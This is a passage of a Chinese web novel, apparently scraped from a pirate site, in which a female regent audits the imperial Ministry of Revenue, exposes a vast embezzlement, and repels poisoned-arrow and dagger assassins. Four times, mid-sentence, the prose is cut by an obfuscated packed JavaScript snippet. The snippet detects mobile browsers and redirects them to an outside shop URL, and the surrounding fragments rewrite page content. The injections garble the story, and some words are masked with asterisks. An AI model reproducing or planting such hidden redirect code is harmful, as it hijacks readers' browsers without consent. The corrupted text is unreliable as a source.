然而,这片“知识森林”弥漫的气息却并非清香。空气中漂浮着一种复杂而陈旧的味道:是陈年墨锭与砚台混合的微臭,是无数纸张历经岁月氧化后散发的特有的微酸腐朽气,其间又夹杂着为防止虫蛀而常年熏染的淡淡防蛀药草——芸香与樟脑的辛涩气味。这本应是书香墨海、充满文雅气息的机要重地,此刻,却因这群不速之客的闯入, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832904|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以及他们身上带来的无形肃杀之气,使得每一种味道都仿佛变得沉重起来,混合成一种令人心头惴惴、几乎喘不过气的压抑感。空气凝滞,连漂浮的尘埃都似乎放缓了舞步,每一口呼吸都带着陈旧往事与未知恐慌的重量。 正堂中央,一张由整块紫檀木雕琢而成的巨大长案,如同沉默的巨兽匍匐在地。案面被打磨得光可鉴人,几可照见穹顶模糊的倒影。此刻,案上早已按照摄政王事先下达的严令,整齐划一地摆放好了近三年来的核心账册:最厚重的是国库收支总账,其次是各地税银入库的明细记录,旁边则是几项耗资巨大的工程,如黄河河堤修缮、边关军镇营造等项目的专项开支档案。这些账册以黄绫包裹,堆叠起来,俨然又是一座微缩的、却关乎国本的小山,无声地诉说着帝国财政的庞杂与深不可测。 谢凤卿径直走向主位,玄色衣袂拂过冰冷的地面,未曾有半分迟疑。她安然落座,背脊挺直如松,目光如两道冰冷的电光,瞬间便锁定在那堆如同小山般的账册上,仿佛能穿透封面,直窥内里隐藏的一切秘密。萧御则无声地坐在侧位的紫檀木椅中,姿态虽也端正,但相较于谢凤卿那种近乎磐石的绝对威严,更多了几分审慎的凝重。 没有任何寒暄客套,甚至没有给两旁垂手侍立、大气不敢出的户部官员任何缓冲的时间。谢凤卿红唇轻启,声音不高,却清晰得如同玉石相击,每个字都带着不容置疑的决断力,在这压抑的正堂中冷冷地传开: “开始吧。自天佑元年至今,所有账目,一笔一笔,核。” 这简短的命令,如同在平静的湖面投下了一块巨石,瞬间激起了行动。随行而来的数十名人员,是从摄政王府及萧御麾下紧急调集而来的精英。他们并非官员,而是精于算学、心思缜密的幕僚和**,此刻如同上紧了发条的机械,立刻无声而迅速地行动起来,显示出极高的训练素养。 他们自动分成两人一组,配合默契。一人负责捧起账册,以清晰平稳、不带任何感**彩的声调,高声唱读出账目上的日期、项目、出入数额,声音在空旷的大堂内回荡;另一人则立刻端坐在早已备好的算盘前,指尖如飞,拨动起那乌木算珠。顷刻之间,算盘珠相互撞击发出的“噼啪”声,密集、清脆、连绵不绝,如同盛夏时节突如其来的急雨,哗啦啦地响彻了整个空间。 这“雨声”并不悦耳,反而带着一种冰冷的、机械的穿透力,敲打在每一个人的耳膜上,更敲打在那些心中有鬼的户部官员的心头。每一颗算珠的跳动,都仿佛是在拨弄他们紧绷的神经;每一声唱账的报出,都像是在宣读他们命运的前奏。原本死寂的正堂,瞬间被这充满压迫感的“算盘急雨”所充斥,气氛变得更加令人心慌意乱,仿佛有一张无形的大网,正在这急促的声响中,缓缓收紧。 第124章每一两银子的去向,都要明确 户部尚书李德明感觉自己的官袍内衬已经湿透,紧紧黏在后背上,一阵阵发冷。额头上不断渗出的冷汗,如同雨后春笋般擦去又冒出来,连手中那块质地上乘的棉帕子都已浸得能拧出水来。他喉咙发干,心脏在胸腔里擂鼓般狂跳,几乎要撞碎肋骨。眼见着那数十名算学先生已经就位,唱账声和算盘声即将响起,他知道,再不做点什么,就真的只能坐以待毙了。 他强压下喉咙口的痉挛,脸上挤出一种混合着恭敬、谦卑和极度惶恐的扭曲笑容,那笑容僵硬得如同面具。他壮着胆子,几乎是蹭着脚尖,向前挪动了一小步,腰弯得更深,用尽可能平稳却仍带着一丝不易察觉颤抖的声音开口道: “王、王爷……户部总揽天下钱粮,这账目……实在是庞杂琐碎,卷帙浩繁,犹如恒河沙数。历年积存,条陈万千,是否……是否容微臣先行一步,为您将主要款项、历年成例,简要分说一二?也好……也好让王爷您有个大略的脉络,免得被这些细枝末节扰了清听……” 他的声音越说越低,到最后几乎变成了乞求。他希望能争取到一点主动权,哪怕只是口头上的引导,也能暂时避开那些最要命的关键账目,或许还能有机会将水搅浑。 然而,他的话音还未完全落下,就被一个冰冷、淡漠、没有丝毫情绪起伏的声音截断了。 “不必。” 谢凤卿甚至没有抬眼看他一下。她的目光依旧如同最精准的尺规,锐利地巡弋在那些被快速翻动的泛黄账页上,以及那些埋头拨弄算盘、面色严肃的**官脸上。她的侧脸线条在透过高窗的尘埃光柱中显得格外清晰冷硬,仿佛白玉雕琢而成,没有一丝人类的温情。 “本王亲自看着。”她重复了一遍,语气平淡,却带着一种不容置疑、如同山岳般沉重的权威,每一个字都像是冰锥,砸在李德明的心头,“你,就在一旁候着。若有疑问,自会问你。” 李德明只觉得一股寒气从脚底板直冲天灵盖,脸上那勉强维持的笑容瞬间碎裂、剥落,血色霎时褪得一干二净,变得惨白如纸。他嘴唇哆嗦着,还想再说些什么挽回的话,却发现喉咙像是被一只无形的手扼住,一个字也吐不出来。他只能深深地低下头,从喉咙深处挤出几个模糊不清的音节:“是……是……微臣……遵命……”然后,脚步虚浮地、踉跄着退回到原先的位置,仿佛一瞬间被抽干了所有力气。他感觉不仅仅是后背,连前胸、腋下的官袍都已被冰冷的汗水浸透,紧贴在皮肤上,带来一阵阵战栗般的寒意。 他偷偷地、用眼角的余光,飞快地扫向站在他左右的两位侍郎,以及身后几位掌管关键司局的郎中。无一例外,每个人的脸色都和他一样,是那种失去血色的惨白,眼神仓皇失措,如同被猎鹰盯上的兔子,在空中漫无目的地游移、闪烁,就是不敢聚焦在任何一点上。他们的额头上、鬓角边、脖颈里,都布满了细密的汗珠,在透过窗棂的光线下闪着油腻的光。有人不时地用宽大的袖口偷偷擦拭,但那汗水却像是泉眼般,怎么也擦不干净。整个大堂内,除了那催命符般高亢清晰的唱账声、密集如雨的算盘珠噼啪声,就只剩下众人极力压抑、却依旧显得粗重无比的呼吸声。空气凝重得如同化不开的胶质,又像是暴风雨来临前极度低压的闷热,几乎要让那些心理素质稍差的官员两眼发黑,晕厥过去。 时间,在这令人极度窒息的核算过程中,一点点地艰难爬行。窗外的日头,似乎也感受到了堂内的压抑,缓慢而固执地向上升高。辰时已过,渐渐接近午时。几束更加明亮的阳光,奋力穿透高窗上积年的灰尘,在空气中形成几道浑浊而耀眼的光柱,光柱里有无数微尘在疯狂舞动。但这光亮非但没能驱散堂内的阴冷,反而与角落里、人心中的阴暗形成了更加鲜明的对比,更添几分诡异与不安。 谢凤卿端坐于主位之上,身形稳如磐石。她虽未亲手去拨弄那些乌木算盘,但她的精神却高度集中,没有丝毫松懈。那双深邃如寒潭的眼眸,如同最精准的扫描器,又似经验老到的猎鹰,锐利地锁定在每一笔被高声唱出的账目数字上,同时也不放过核算**脸上任何一丝细微的表情变化——皱眉、迟疑、困惑,都逃不过她的眼睛。她的思维运转快如闪电,对数字有着一种近乎天生的惊人敏锐和记忆力。 突然,就在唱账的**念到某一笔江南盐税款项时,谢凤卿毫无征兆地开口,声音并不大,却如同一声惊雷,骤然劈开了嘈杂的算盘声,清晰地炸响在每一个人的耳边: “停。” 整个大堂的声响戛然而止。唱账的**官声音卡住,拨算盘的手指僵在半空。所有人都像是被施了定身术,齐刷刷地看向主位。 谢凤卿的目光落在刚才唱报的那一页账册上,语气冰冷无波:“天佑二年十一月,江南东道盐税入库银,账面记为四十五万两。为何紧接着十二月,又有一笔名目为‘盐务调剂’的支出,数额高达二十万两?调剂至何处?调剂缘由为何?相关的调剂文书、批复发文,以及接收衙门的回执凭证,何在?” 她的问题精准无比,直接戳中了这笔账目中最含糊不清、最经不起推敲的关键点。负责江南清吏司的那位郎中,姓王,是个胖胖的官员,此刻闻言浑身猛地一颤,像是被电击一般,脸上的肥肉都在抖动。他连滚爬爬地出列,扑通一声跪倒在地,磕头如捣蒜,声音带着哭腔: “回、回王爷……这、这‘盐务调剂’……乃是、乃是历年旧例……是因、因盐场灶户生活困苦,需要……需要额外补贴……所、所以……” “旧例?”谢凤卿打断他,目光终于从账册上抬起,冷冷地落在王郎中那抖得如同筛糠般的身体上,“补贴灶户,自有‘灶户恤银’专项列支,为何要走‘盐务调剂’?且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835856|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十万两白银,足以养活数万灶户一年!凭证呢?调剂的详细记录呢?难道户部拨款,仅凭‘旧例’二字,便可空口无凭,随意支取?” “这……这……”王郎中汗如雨下,支支吾吾,前言不搭后语,在那双仿佛能洞悉灵魂深处的眼眸注视下,只觉得天旋地转,几乎要瘫软在地,晕死过去。 这仅仅是开始。在接下来的时间里,谢凤卿又数次突然发声,每一次都精准地命中要害: “等等,去岁修筑黄河河堤,豫州段年初预算明确定为八十万两。为何年终核销时,账面显示支出一百二十万两?超支整整四十万两!工部与户部联合派员进行的现场勘验文书、工程量追加的核准批文,立刻拿来本王过目!超支部分,每一两银子的去向,都要有明确的记录!” “还有这笔,标注为‘宫廷特殊用度’,数额五十万两。为何批红印章如此模糊不清?经手人的签押为何残缺不全?是哪一宫、哪一殿的用度?具体用于何事?内务府与户部的对接文书在哪里?” 她的每一个问题,都如同外科手术刀般精准,直指账目中最脆弱、最容易被动手脚、最无法自圆其说的关窍。被点名的官员,无一不是面无人色,浑身瘫软,跪在地上磕头求饶,却拿不出任何像样的凭证来解释,只能语无伦次地重复着“惯例”、“批文”、“上司吩咐”等苍白的借口,在那冰冷的目光下,丑态百出,精神几近崩溃。 而坐在侧位的监国亲王萧御,虽然沉默寡言,但同样没有闲着。他面前铺开的,是各地官府上报的税赋预算数据、国库实际入库的记录,以及几个重大工程项目地方官员呈递的奏报副本。他的目光在几份文件间来回比对,修长的手指在某些数字差异巨大的地方划过,眉头越锁越紧,原本温润的脸色也变得越来越阴沉,如同暴风雨前的天空。显然,无需等到详细的核算结果出来,仅仅从这些宏观数据的巨大矛盾和漏洞中,他已经窥见了冰山之下那庞大得令人心惊的财政窟窿。帝国的钱袋子,恐怕早已千疮百孔,亏空的程度,远超他们最初的预想。 两个时辰的煎熬,如同两年般漫长。当窗外的日头几乎升到正空,午时将近时,那密集如雨的算盘声和唱账声,终于开始逐渐稀疏、放缓下来。初步的核算结果,开始如同溪流汇入江河般,逐渐汇聚到那名为首的算学幕僚面前。 这位幕僚姓陈,年约四十,面容清癯,是萧御麾下极受重用的钱谷师爷,素以精明干练著称。此刻,他缓缓放下了手中那架已经被拨得温热的紫檀木算盘,算盘珠子似乎都因承载了那个惊人的结果而变得沉重无比。他深吸了一口气,试图平复那微微颤抖的双手,但指尖的震颤却依旧无法完全抑制。他的面色凝重得如同生铁,走到堂前中央,对着端坐于上的谢凤卿和萧御,深深地、一丝不苟地躬身行礼,几乎将身体折成了九十度。 第125章臣实在不知详情 良久,他才直起身,抬起头,脸上毫无血色,嘴唇干裂。他再次深吸一口气,仿佛要汲取开口的勇气,然后用一种带着无法抑制颤抖的、艰涩无比的声音,艰难地开启了嘴唇: “禀王爷……禀亲王殿下……初、初步核算已毕……近三年来,国库账面结余,与实际库藏现银数额,以及各地依律应上缴、却未及时足额入库的税赋款项之间……存在……存在巨大亏空!” “轰——!” 尽管早有预感,但当“巨大亏空”这四个字被清晰无比地宣之于口时,整个户部正堂的空气仿佛瞬间被一只无形巨手彻底抽空!所有官员,无论是那些心中有鬼、深知内情的,还是仅仅感到不安、不明就里的,都下意识地屏住了呼吸,心脏猛地提到了嗓子眼,仿佛下一刻就要从嘴里跳出来。死寂,死一般的寂静降临,连一根针掉在地上都能听见。 在这片令人窒息的死寂中,只有谢凤卿的声音,依旧平稳、冰冷,没有任何情绪的波澜,仿佛只是在确认一个早已知道的答案: “说具体数目。” 陈幕僚的身体几不可察地晃了一下。他再次深吸一口气,这一次,仿佛用尽了全身残存的力气,每一个字都像是从牙缝里挤出来的,沉重地砸在寂静的大堂中: “初步估算……账实不符,及各项应有未收之款项……亏空总额……当在……当在白银三百万两以上!” 他顿了顿,似乎连说出这个数字都感到无比艰难,但还是补充了最致命的部分: “其中,尤以江南盐铁税银、各地矿课收入、以及去岁修筑黄河河堤的专项款项,亏空最为巨大!仅……仅江南盐税一项,初步估计,账面与实际缺口……便逾百万两之巨!” “三百万两……亏空!” 这个数字,如同九天之上掷下的毁灭雷霆,带着震耳欲聋的轰鸣,在每一个人的脑海中疯狂炸响!尽管之前的气氛已经压抑到了极点,尽管所有人都知道结果不会好,但当这个庞大到足以颠覆认知、足以让整个帝国财政根基动摇的数字,被如此赤裸裸、如此残酷地摆在面前时,所带来的冲击力依旧是毁灭性的,足以让任何心智健全的人感到一阵强烈的眩晕和灵魂出窍般的恐惧! 三百万两白银!这几乎是朝廷一年税收的三成!足以支撑一场倾国之战,足以赈济数省连绵大灾,足以装备起一支横扫千军的精锐之师!而如今,这笔足以影响国运的巨款,竟在神不知鬼不觉之中,从帝国赖以生存的血脉里,被一群蛀虫吞噬殆尽! 这五个字——“三百万两亏空”——如同九霄云外骤然劈下的灭世雷霆,裹挟着天地之威,在户部正堂这方象征着帝国财赋核心的空间里轰然炸响!其声浪虽无形,却仿佛化作了实质的冲击波,猛烈地撞击着每一个人的耳膜和心神。 尽管在场众人,从位高权重的尚书侍郎,到末流的管事小吏,或多或少都对这场突如其来的审计抱有最坏的预期,心理防线早已绷紧至极限。然而,当这个庞大到完全超出合理想象、足以颠覆所有认知的数字,被如此赤裸、如此不加任何修饰地呈现在光天化日之下时,其所带来的精神冲击力,依旧是毁灭性的,足以让最顽固的头脑瞬间空白,最坚韧的神经为之崩裂! “嘶——” 一阵极力压抑、却依旧无法完全遏制的倒抽冷气声,如同无数条濒死的毒蛇在暗处嘶鸣,猛地从人群各个角落响起。紧接着是几声短促的、如同被扼住喉咙般的惊呼,随即又被主人死死捂住嘴,化作绝望的呜咽。几名年事已高、须发皆白的老郎中,本就跪得双腿麻木,心神交瘁,在此雷霆一击之下,只觉得眼前猛地一黑,天旋地转,干瘦的身体如同风中残叶般摇晃起来,若非身旁同僚手忙脚乱地伸手搀扶,恐怕当场就要晕厥在地,不省人事。整个大堂之内,恐慌如同瘟疫般急速蔓延,原本就凝重如铁的气氛,此刻更是变得如同烧熔的琉璃,看似凝固,实则已处于迸裂的边缘。 三百万两白银! 这个数字在每个人的脑海中疯狂回荡、碰撞、放大!它不再仅仅是账簿上冰冷的墨迹,而是化作了足以压垮一切的实质重量。这几乎是朝廷鼎盛时期一年岁入的三成!是万千黎民百姓辛勤劳作、滴汗成税,汇聚而成的血汗结晶!这笔巨款,足以支撑一场倾举国之力的大规模国战,从粮秣军械到兵饷赏银,绰绰有余;足以赈济数省连绵数年的大灾大荒,使千万灾民免于流离失所、易子而食的惨剧;足以装备起一支从头到脚焕然一新、武装到牙齿的虎狼之师,横扫边境一切不臣! 而如今,就是这笔关乎国本、牵动亿兆生灵命运的巨额财富,竟在神不知鬼不觉之中,如同渗入沙地的水流,从帝国赖以生存的命脉里悄然流失殆尽!这已不仅仅是贪墨,这是一场悄无声息、却足以**灭种的浩劫!这是何等骇人听闻、罄竹难书的硕鼠之行!是何等庞大到令人毛骨悚然的蛀虫网络,才能如此疯狂地吞噬掉帝国的根基! “砰!!!” 一声震耳欲聋的巨响,猛地将众人从巨大的惊骇中惊醒! 只见监国亲王萧御再也无法维持表面的沉静,胸中积郁的震怒如同火山喷发,他猛地一掌拍在身旁坚实的紫檀木长案之上!那硬木打造的案几,竟被他蕴含怒火的一掌拍得嗡嗡作响,案面上摆放的茶盏笔砚齐齐跳起,又哐当落下,可见其力道之刚猛暴烈!他霍然起身,原本温润如玉的面容此刻已是铁青一片,额角太阳穴附近青筋如蚯蚓般根根暴起跳动,那双总是含着几分雍容笑意的眼眸,此刻锐利如两道凝聚了实质杀气的寒冰利剑,携带着滔天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838979|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒火,狠狠地射向早已抖如筛糠、面无人色,几乎要靠扶着廊柱才能勉强站稳的户部尚书李德明! “三百万两!好!好一个户部!好一个‘账面平整,库藏充盈’!”萧御的声音因极致的愤怒而微微发颤,每一个字都像是从紧咬的牙关深处挤压出来,带着冰渣般的刺骨寒意和足以焚尽一切的怒火,“李—德—明!你告诉本王!这笔钱!这笔足以动摇国本的巨款!到底去了何处?!喂饱了哪一路的豺狼虎豹?!说!” 最后的“说”字,如同惊堂木般炸响,带着亲王不容置疑的威严,震得梁柱上的灰尘都簌簌落下。 户部尚书李德明,这位在官场沉浮数十载、素以老成持重著称的二品大员,此刻最后一丝心理防线被彻底摧毁。他双腿一软,“扑通”一声重重瘫跪在冰冷坚硬的金砖地面上,再也顾不得丝毫官威体面,涕泪瞬间纵横流淌,混杂着脸上的冷汗,显得狼狈不堪。他朝着谢凤卿和萧御的方向,如同捣蒜般拼命磕头,额头撞击地面发出沉闷的“咚咚”声,带着哭腔嘶喊道: “王爷明鉴!殿下明鉴啊!臣……臣实在不知详情!不知根源啊!许多款项……许多超支拨付,那都是……都是沿袭历年旧例,有……有相关部司堂官的共同批文,甚至……甚至有些是有了宫内司礼监的朱红批画啊!臣……臣只是循例办理,按章行事……臣……臣纵有失察之罪,也……也实不知巨款流失至此啊!臣冤枉!臣冤枉啊!”他的辩解苍白无力,充满了推诿与绝望,试图将罪责分摊到“旧例”和模糊的“批文”之上。 “批文?旧例?” 一个冰冷得如同数九寒风吹刮骨髓的声音,缓缓响起,瞬间将李德明声嘶力竭的哭诉冻结在原地。 谢凤卿缓缓站起身。她的动作并不快,却带着一种掌控全局的沉稳与压迫感。她步履从容地走到那堆如同山积、此刻却如同罪证罗列的账册前,玄色的衣摆拂过地面,无声无息。她随手拿起最上面一本,正是记录江南盐铁税收支的核心账册,指尖优雅地翻开,精准地停留在某一页记录着巨额盐税入库、但后续描述却含糊其辞的地方,轻轻一点。 那指尖白皙修长,看似柔弱,此刻却带着致命的威胁。 “这上面,”她的声音不高,却清晰地传遍大堂每一个角落,冷得让所有人如坠冰窟,“白纸黑字,墨迹清晰,旁边赫然盖着江南盐铁转运使的鲜红印信,更有司礼监那不容置疑的朱红批画。一切流程,从纸面上看,似乎都合规合矩,天衣无缝。” 她的话音在此刻意一顿,如同暴风雨前那令人窒息的宁静。她抬起头,目光不再局限于李德明,而是如同最寒冷的冰刃,缓缓扫过全场每一个匍匐在地、瑟瑟发抖的官员,最终,重新落回李德明那张惨无人色的脸上。 第126章远远超出了普通贪腐案件的范畴 “但,”她红唇轻启,吐出的字眼却重若千钧,“最终真正入库、能够用于国计民生的银子,根据核算,却不足这账面华丽数字的三分之一!” 她的声音陡然拔高,如同宝剑出鞘,凛冽的杀意瞬间弥漫开来,笼罩整个正堂:“李尚书!还有在座诸位食君之禄的官员!谁能告诉本王——”她的目光锐利如刀,仿佛能剖开一切虚伪的掩饰,“那剩下的几十万、乃至上百万两的雪花银,是凭空长了翅膀,飞去了九天云外?还是……” 她的声音在这里达到了一种极具张力的顶点,随后狠狠劈下: “……喂了你们这群寄生在国脉之上、贪婪无度、蛀空国本的豺狼!” “啪!!!” 话音未落的瞬间,谢凤卿眼中厉色暴涨,不再有任何废话,猛地将手中那本厚重无比、象征着江南财富也象征着无尽贪腐的账册,狠狠掷于脚下坚硬无比的金砖地面之上! 一声沉闷如惊雷般的巨响爆开!厚重的硬壳封面与冰冷的地面猛烈撞击,瞬间破裂开来,里面无数记载着肮脏秘密的账页哗啦啦地散落一地,如同秋风扫落叶,又似被撕碎的谎言。墨字朱印凌乱地摊开,有的页面甚至因巨大的力道而撕裂,上面记录的数字和印章,在此刻看来,是如此的可笑与讽刺,如同此刻户部乃至整个帝国财政混乱不堪、积弊丛生的真实缩影。 这一刻,万籁俱寂。 所有目睹此景的人,无论是那些心惊胆战、罪责难逃的户部官员,还是肃立四周、面无表情却内心震撼的护卫甲士,甚至是那些奉命前来核算、此刻也惊得停下动作的**先生,心中都不由自主地浮现出类似的、巨大的震撼与惊悸! 这已远远超出了普通贪腐案件的范畴! 这是一颗被引爆的、足以将整个朝堂现有格局炸得人仰马翻、尸骨无存的**核弹!一场席卷一切、无人能够幸免的恐怖风暴,已然在这户部正堂之内,正式降临!而执掌这风暴眼、冷眼旁观这末日景象的,正是那位玄衣如墨、权倾天下的摄政王——谢凤卿! 然而,就在这极度混乱与压抑,所有人的心神都被那石破天惊的三百万两亏空所震慑,思维几乎凝固的时刻—— 喀啦。 一声极其轻微、细微到几乎被心跳声掩盖的异响,从堂外高高的屋檐上传来。 那并非风声,也不是雀鸟踏足,而是某种更沉重、更刻意的事物——或许是靴底边缘不慎碾过一片松动的蝴蝶瓦,或许是身体重心移动时带起的细微摩擦——所发出的,介于破碎与摩擦之间的短促声响。 这声音太轻了,轻得像是一根绣花针落在厚厚的绒毯上。对于堂内绝大多数仍沉浸在巨额亏空所带来的巨大惊恐和自身命运未卜的惶惑中的官员而言,这声音几乎不存在。他们的耳朵被自己狂乱的心跳和粗重的呼吸所充斥,根本无暇他顾。 但是,对于谢凤卿和萧御这等修为已臻化境、灵觉敏锐远超常人的高手而言,这细微的异响,不啻于在万籁俱寂的深夜里,突然敲响的一面警锣! 两人几乎是本能反应,霍然抬头!目光如电,似两道实质的冷电,瞬间穿透了厚重的门墙,精准地射向声音来源的方位——正堂外侧那高高翘起的飞檐阴影之处!他们的眼神中,没有惊慌,只有一种猎物终于落入视野的冰冷锐利,以及一丝“果然如此”的嘲讽。 “有刺客!护驾!” 始终如同雕塑般肃立在谢凤卿身侧后方,全身气息收敛得如同顽石的风雪十八骑统领,几乎在两位王爵抬头的同一刹那,发出了短促而凌厉的厉喝!他的声音不高,却带着一种奇特的穿透力,清晰地传入每一名风雪骑成员的耳中。 声犹在耳,他的身影已如鬼魅般从原地消失,下一瞬,便已如同瞬间移动般,稳稳地挡在了谢凤卿的身前!玄色的披风在他急速移动中“呼”地扬起,展开成一道仿佛能隔绝一切危险的黑暗屏障。与此同时,另外十七名风雪骑成员也动了!他们的动作快得只留下道道残影,如同早已演练过千百遍一般,默契得惊人。数人瞬间贴近谢凤卿和萧御,形成紧密的内层防护圈;另外几人则如猎豹般扑向门窗等可能被突破的位置;更有几人身影一闪,已如轻烟般掠向堂外,显然是去清除屋顶的威胁。整个过程如行云流水,无声无息,却又在电光石火间完成,展现出堪称恐怖的战术素养和配合默契。 “嗖!嗖!嗖!嗖——!” 几乎就在风雪骑统领发出警告、身形移动的同一瞬间,异变陡生! 数道乌黑色的暗影,快如疾风,猛地穿透了正堂两侧精美的镂空窗棂上糊着的坚韧高丽纸!那暗影细小而迅疾,带着尖锐刺耳的破空声,目标明确至极——直取主位上的谢凤卿!以及,那几名围在紫檀木案前、刚刚核算出惊天亏空数额的核心算学幕僚! 那乌光在穿透窗纸的刹那,在光线映照下,隐约泛着一层令人心悸的幽蓝色光泽,显然是淬了剧毒!这是要一击必杀,不仅要除掉主持清查的谢凤卿,更要灭口这些刚刚掌握关键证据的核算人员!用心之歹毒,手段之狠辣,昭然若揭! 然而,这来自外部的袭击,竟还不是全部! 更令人意想不到、也更显刺杀者周密策划的,是来自内部的发难! 就在堂内众人被窗外射来的**箭惊得目瞪口呆、尚未反应过来之际,那几名原本一直匍匐在地、瑟瑟发抖、看似已被吓得魂飞魄散的户部低级官员中,竟有三人眼中猛地爆射出野兽般的凶戾光芒!之前的恐惧、卑微、瘫软,在这一刻荡然无存,取而代之的是一种亡命徒般的决绝与疯狂! 其中两人猛地从宽大的袖袍中抽出淬了毒、闪着蓝汪汪幽光的短刃**, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她不再固守原地,而是化守为攻,身法快如闪电,又似鬼魅飘忽,主动迎向了那两名扑到近前、面目狰狞的“官员刺客”!她的剑法没有丝毫多余的花哨与修饰,只有最极致的速度、最精准的角度、最简洁的杀戮!桃红色的剑光在她手中,如同死神的指尖,每一次闪烁,都在空气中划出凄艳的弧线。 “嗤!”“嗤!” 两声轻微得几乎听不见的利刃割裂皮肉的声音。 那两名刺客前冲的势头猛然僵住,眼中的凶光瞬间被难以置信的惊愕和死亡的灰白所取代。他们的喉间,各自出现了一道细如红线的伤口,起初并无鲜血,随即,殷红的血珠才猛地渗出,然后化作两道血箭喷射而出!两人连一声惨叫都未能发出,便已捂着喉咙,瞪大着绝望的双眼,重重地向前扑倒在地,身体抽搐两下,便再无声息。 谢凤卿的身影如同在血雨中漫步的修罗,玄衣拂动,纤尘不染,所过之处,只留下死亡的寂静。 第127章第一个,就拿他开刀! 另一边,萧御的反应亦是迅捷无比。他虽以处理政事见长,但身为天潢贵胄,自幼接受的也是最顶级的武艺教导。几乎在内部刺客暴起的瞬间,他腰间那柄装饰华美的亲王佩剑也已出鞘!剑身如一泓秋水,光可鉴人,舞动之间,带起凛冽的寒气。他的剑法不同于谢凤卿的诡异迅疾,更显沉稳大气,带着一种皇家特有的雍容气度,却又凌厉非凡。剑光闪烁间,已将那名持**刺客射来的**格飞,随即剑势一转,如长虹贯日,与另外两名趁机扑上的刺客战在一处。金铁交鸣之声不绝于耳,萧御以一敌二,剑法严谨,守得滴水不漏,竟丝毫不落下风,反而将两名刺客逼得连连后退,险象环生。 而真正展现出血腥高效的,是谢凤卿的亲卫——风雪十八骑! 对于从屋顶破窗而入的黑衣刺客,他们展现出了教科书般的反刺杀技巧。两人一组,配合无间。一人专门负责用特制的臂盾或刀身格挡开可能射向谢凤卿和萧御的流矢或暗器,另一人则如同扑食的猛虎,直接迎上刚刚落地的刺客。刀光如同雪亮的闪电,在昏暗的堂内划出致命的光弧。那些黑衣刺客显然也是百里挑一的好手,身形矫健,出手狠辣,但他们刚从破洞中跃下,身形尚未站稳,旧力已尽新力未生之际,风雪骑狠辣精准的刀光已然及身! “噗嗤!”“咔嚓!” 利刃割开喉咙、砍断骨骼的沉闷声响接连响起!伴随着短促的惨叫和闷哼,鲜血如同泼墨般飞溅上墙壁、梁柱,以及散落在地的账册上。不过短短两三个呼吸的时间,从屋顶突入的五六名黑衣刺客,尚未完全展开阵型,便已被斩杀大半!剩余两三人虽勉强站稳,试图背靠背负隅顽抗,但在风雪十八骑如同**般迅捷而默契的合击之下,如同浪涛中的小舟,瞬间便被更多的刀光淹没,砍翻在地,顷刻毙命! 整个战斗,从第一声瓦片轻响,到最后一名刺客倒地气绝,前后不过数十息的时间。快得让堂内大多数文官根本来不及做出任何反应,只能目瞪口呆地看着眼前刀光剑影、血肉横飞的景象,大脑一片空白。 当最后一名刺客的尸体沉重地倒在血泊中,一切声响戛然而止。 堂内,陷入了一种比之前更加死寂的安静。只是这种安静,不再是因为恐惧和压抑,而是因为浓郁得化不开的血腥气,以及眼前这如同修罗场般的残酷景象所带来的强烈视觉与嗅觉冲击!原本弥漫的墨香,早已被刺鼻的血腥味彻底掩盖。散乱的账册上溅满了暗红色的血点,倾倒的算盘旁躺着死不瞑目的尸体,光滑的金砖地面被粘稠的血液染红,汇聚成一小滩一小滩的血洼。 权力斗争的残酷与血腥,在这一刻,以最直接、最赤裸的方式,呈现在了所有人的面前。 战斗的余烬尚未冷却,空气中弥漫的硝烟与血腥味浓烈得几乎令人作呕。正堂内一片狼藉,尸体横陈,血迹斑斑,与散落的账册、倾倒的家具构成了一幅诡异而惨烈的画面。在这死寂般的肃杀氛围中,一名风雪十八骑的成员,其动作却如同精密机械般稳定有序。他无视脚下粘稠的血污,快步走到一名显然是头领身份的黑衣刺客尸身旁,蹲下身,开始进行专业的搜查。 